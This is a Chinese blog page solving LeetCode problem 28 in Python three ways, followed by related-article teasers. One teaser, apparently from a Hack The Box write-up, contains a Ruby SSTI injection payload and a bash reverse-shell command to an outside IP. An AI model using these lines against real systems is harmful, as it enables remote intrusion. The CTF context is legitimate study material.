[ LeetCode ] 题刷刷(Python)-第28题:找出字符串中第一个匹配项的下标

题目描述

给你两个字符串 haystack 和 needle ,请你在 haystack 字符串中找出 needle 字符串的第一个匹配项的下标(下标从 0 开始)。如果 needle 不是 haystack 的一部分,则返回  -1 

示例

示例 1:

输入:haystack = "sadbutsad", needle = "sad"
输出:0
解释:"sad" 在下标 0 和 6 处匹配。
第一个匹配项的下标是 0 ,所以返回 0 。
示例 2:

输入:haystack = "leetcode", needle = "leeto"
输出:-1
解释:"leeto" 没有在 "leetcode" 中出现,所以返回 -1 。

解题

解法一: 内置函数str.find()方法

思路

有点不讲武德,但是第一反应就想到这个方法了。

算法复杂度

时间复杂度:O(n),其中 n 是 haystack 的长度。


空间复杂度:O(1),即常数空间复杂度。

代码

class Solution:
    def strStr(self, haystack: str, needle: str) -> int:
        return haystack.find(needle)

解法二: 暴力破解

思路

从 haystack 的每个字符开始,依次比较后续字符是否与 needle 相同,直到找到匹配项或遍历完所有可能的起始位置。

算法复杂度

时间复杂度:O(n*m),其中 n 是 haystack 的长度,m 是 needle 的长度。


空间复杂度:O(1),即常数空间复杂度。

代码

class Solution:
    def strStr(self, haystack: str, needle: str) -> int:
        for i in range(len(haystack) - len(needle) + 1):  # 遍历所有可能的起始位置
            if haystack[i:i+len(needle)] == needle:  # 完全匹配 needle
                return i  # 返回 needle 在 haystack 中的起始位置

        return -1  # 未找到 needle,返回 -1

解法三: KMP算法

思路

从 haystack 的每个字符开始,依次比较后续字符是否与 needle 相同,直到找到匹配项或遍历完所有可能的起始位置。

原理找个视频看一下,手工推算,然后尝试写成代码。

算法复杂度

时间复杂度:O(n+m),其中 n 是 haystack 的长度,m 是 needle 的长度。


空间复杂度:O(m),其中m 是 needle 的长度。

代码

class Solution:
    def strStr(self, haystack: str, needle: str) -> int:
        # 如果 needle 为空字符串,其在 haystack 中的起始位置为 0
        if not needle:
            return 0
        
        # 构建 KMP 部分匹配表(LPS)
        lps = self._get_lps(needle)
        
        # 初始化双指针 i 和 j 分别指向 haystack 和 needle 的起始位置
        i, j = 0, 0
        
        # 当 i 未到达 haystack 的末尾时,继续搜索
        while i < len(haystack):
            # 如果当前字符匹配,移动两个指针到下一个字符
            if haystack[i] == needle[j]:
                i += 1
                j += 1
                
                # 如果 j 到达 needle 的末尾,说明找到了完整的 needle,返回其在 haystack 中的起始位置
                if j == len(needle):
                    return i - j
            
            # 如果当前字符不匹配且 j > 0,利用 LPS 表回退 j 指针至下一个最长前后缀重合位置
            elif j > 0:
                j = lps[j - 1]
            
            # 如果当前字符不匹配且 j == 0,说明 needle 无法在当前位置继续匹配,i 指针右移一位
            else:
                i += 1
                
        # 若遍历完 haystack 仍未找到 needle,返回 -1 表示未找到
        return -1

    # 私有辅助方法,用于生成 KMP 部分匹配表
    def _get_lps(self, pattern: str) -> List[int]:
        # 初始化长度为 pattern 长度的 LPS 表,初始值均为 0
        lps = [0] * len(pattern)
        
        # 初始化 j 指针指向 pattern 的第二个字符
        j = 0
        
        # 从 pattern 的第二个字符开始遍历,直至最后一个字符
        for i in range(1, len(pattern)):
            # 当 j > 0 且 pattern[i] 与 pattern[j] 不匹配时,回退 j 至 LPS 表中对应的前一位置
            while j > 0 and pattern[i] != pattern[j]:
                j = lps[j - 1]
            
            # 当 pattern[i] 与 pattern[j] 匹配时,将 j 向右移动一位
            if pattern[i] == pattern[j]:
                j += 1
            
            # 更新 LPS 表中对应位置的值为当前 j 的值
            lps[i] = j
        
        # 返回计算好的 LPS 表
        return lps

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/558870.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Golang | Leetcode Golang题解之第40题组合总和II

题目&#xff1a; 题解&#xff1a; func combinationSum2(candidates []int, target int) (ans [][]int) {sort.Ints(candidates)var freq [][2]intfor _, num : range candidates {if freq nil || num ! freq[len(freq)-1][0] {freq append(freq, [2]int{num, 1})} else {…

LabVIEW卡尔曼滤波技术

LabVIEW卡尔曼滤波技术 在现代航空导航中&#xff0c;高精度和快速响应的方位解算对于航空安全至关重要。通过LabVIEW平台实现一种卡尔曼滤波方位解算修正技术&#xff0c;以改善传统导航设备在方位解算中的噪声干扰问题&#xff0c;从而提高其解算精度和效率。通过LabVIEW的强…

Ubuntu上阅读Android源码工具

由于Android源码过于庞杂&#xff0c;里面有多种语言源文件&#xff0c;想只用一IDE统一索引是不现实的。我个人便使用AS阅读JAVA代码&#xff0c;VS看C/C代码&#xff0c;在Ubuntu上不能使用SI&#xff0c;所以直接放弃。在framework开发这个层面上来讲&#xff0c;因为大部分…

Ansible组件说明

1.Ansible Inventory 工作当中有不同的业务主机&#xff0c;我们需要在把这些机器信息存放在inventory里面&#xff0c;ansible默认的inventory的文件是/etc/ansible/hosts&#xff0c;也可以通过ANSIBLE_HOSTS环境变量来指定或者运行ansible和ansible-playbook的时候用-i参数临…

数据可视化(五):Pandas高级统计——函数映射、数据结构、分组聚合等问题解决,能否成为你的工作备用锦囊?

Tips&#xff1a;"分享是快乐的源泉&#x1f4a7;&#xff0c;在我的博客里&#xff0c;不仅有知识的海洋&#x1f30a;&#xff0c;还有满满的正能量加持&#x1f4aa;&#xff0c;快来和我一起分享这份快乐吧&#x1f60a;&#xff01; 喜欢我的博客的话&#xff0c;记得…

js中let和var的区别

在JavaScript中&#xff0c;var、let和const都用于声明变量&#xff0c;但它们之间存在一些重要的区别。特别是let和var之间的区别&#xff0c;我们可以概括为以下几点&#xff1a; 作用域&#xff08;Scope&#xff09;&#xff1a;var有函数作用域或全局作用域&#xff0c;而…

B-树 B+树与数据库原理

B树 引入 概念和性质 插入分析 总结 B树 B*树&#xff08;了解&#xff09; 数据库原理 数据库与B树的关系

【MySQL 数据宝典】【磁盘结构】- 003 双写缓冲区

一、双写缓冲区 ( Doublewrite Buffer Files) 1.1 背景介绍 写失效 (部分页失效) InnoDB的页和操作系统的页大小不一致&#xff0c;InnoDB页大小一般为16K&#xff0c;操作系统页大小为4K&#xff0c;InnoDB的页写入到磁盘时&#xff0c;一个页需要分4次写。如果存储引擎正在…

算法训练营day15

一、层序遍历 参考链接7.2 二叉树遍历 - Hello 算法 (hello-algo.com) 层序遍历本质上属于广度优先遍历&#xff0c;也称广度优先搜索&#xff0c; BFS通常借助队列的先入先出的特性实现 参考链接102. 二叉树的层序遍历 - 力扣&#xff08;LeetCode&#xff09; 像这种较为…

社交媒体数据恢复:与你科技

在数字时代&#xff0c;数据是我们生活中的重要组成部分。无论是个人照片、文档&#xff0c;还是企业的重要资料&#xff0c;数据在我们的生活中扮演着举足轻重的角色。然而&#xff0c;数据丢失的问题时常发生&#xff0c;给我们带来了很多麻烦。幸运的是&#xff0c;当下众多…

搭建HBase2.x完全分布式集群(CentOS 9 + Hadoop3.x)

Apache HBase™是一个分布式、可扩展、大数据存储的Hadoop数据库。 当我们需要对大数据进行随机、实时的读/写访问时&#xff0c;可以使用HBase。这个项目的目标是在通用硬件集群上托管非常大的表——数十亿行X数百万列。Apache HBase是一个开源、分布式、版本化的非关系数据库…

[Meachines][Easy]Perfection

Main $ nmap -sV -sC 10.10.11.253 --min-rate 1000 使用Ruby开发的,尝试Ruby的SSTI注入 x%0a<%25%3Dsystem("ping-c110.10.16.23");%25> $ echo "/bim/bash -i >& /dev/tcp/10.10.16.23/10032 0>&1"|base64 category1x%0a<%25%3…

sqli-labs靶场学习(一)

一.知识点 1.数据库 数据库是一个用于存储和管理数据的仓库。数据按照特定的格式存储&#xff0c;可以对数据库中的数据进行增加、修改、删除和查询操作。数据库的本质是一个文件系统&#xff0c;按照一定的逻辑结构组织数据&#xff0c;以方便高效地访问和维护。 2.数据库管…

RCE漏洞及其绕过——[SWPUCTF 2021 新生赛]easyrce、caidao、babyrce

目录 什么是Shell 1、Shell简介 2、印刷约定 一、什么是RCE 漏洞产生条件&#xff1a; 漏洞检测&#xff1a; 1.远程命令执行 system()函数&#xff1a; passthru()函数&#xff1a; exec()函数&#xff1a; 无回显 shell_exec()函数&#xff1a; 2.远程代码执行 e…

我的创作纪念日(256)

一、缘起——Why I choose CSDN 在大二升到大三的暑假期间&#xff0c;为了督促自己学习智能机器人这一领域的知识&#xff0c;啃下这块硬骨头&#xff0c;我决定一边学习&#xff0c;一边在CSDN这个平台上分享一些学习心得。当时我跟着韩顺平老师学习Linux系统&#xff0c;跟…

IP地址定位:揭秘精准定位的技术与应用

在数字化时代&#xff0c;IP地址已成为连接互联网世界的关键标识之一。但是&#xff0c;很多人对于IP地址的精准定位能力存在疑虑。本文将深入探讨IP地址定位的技术原理以及其在实际应用中的精确度。 IP地址查询&#xff1a;IP数据云 - 免费IP地址查询 - 全球IP地址定位平台 …

torchvision指定版本whl安装(Ubuntu20环境)

pytorch教程需要torchvision下载数据集&#xff0c;使用pip安装指定版本&#xff0c;首先使用conda list torch查看自己安装torch版本&#xff0c;我的pytorch版本1.9.0对应cuda版本11.1 在以下网址查找对应torchvision版本&#xff0c;https://pytorch.org/get-started/prev…

vue-cli2 与vue-cli3,vue2与vue3 初始化项目,本地vue项目,详细解析区别(2024-04-19)

目录 1、区别&#xff08;vue-cli2 与 vue-cli3 &#xff09; 2、例子1&#xff08;vue2项目&#xff09; 2.1 版本与命令行 2.2 项目本地截图 2.3 项目文件解析 &#xff08;1&#xff09;package.json 文件 &#xff08;2&#xff09;webpack.dev.conf.js文件 &#…

【备战算法岗】—— 控制模块复习(持续更新!!!)

1 控制理论基础 1.1 控制模块概述 输入&#xff1a;轨迹线Reference、地图信息、定位信息、车辆反馈信息 输出&#xff1a;刹车、油门、转向 CANBUS&#xff1a;车辆底盘交互协议 底盘、速度、四轮转速、健康状况、底盘报错、自动驾驶状态 运动学模型&#xff1a;刚体运动&a…

linux的线程概念

目录 1.原理 2.线程的周边概念 3.创建线程的接口 1.pthread_create 2.pthread_join 3.pthread_detach 4.终止线程 5.C11封装的多线程库 4.线程库的大概结构 5.__thread&#xff08;只能修饰内置类型&#xff09; 6.线程的互斥 1.了解原理 2.加锁 1.接口 2.代码示…
最新文章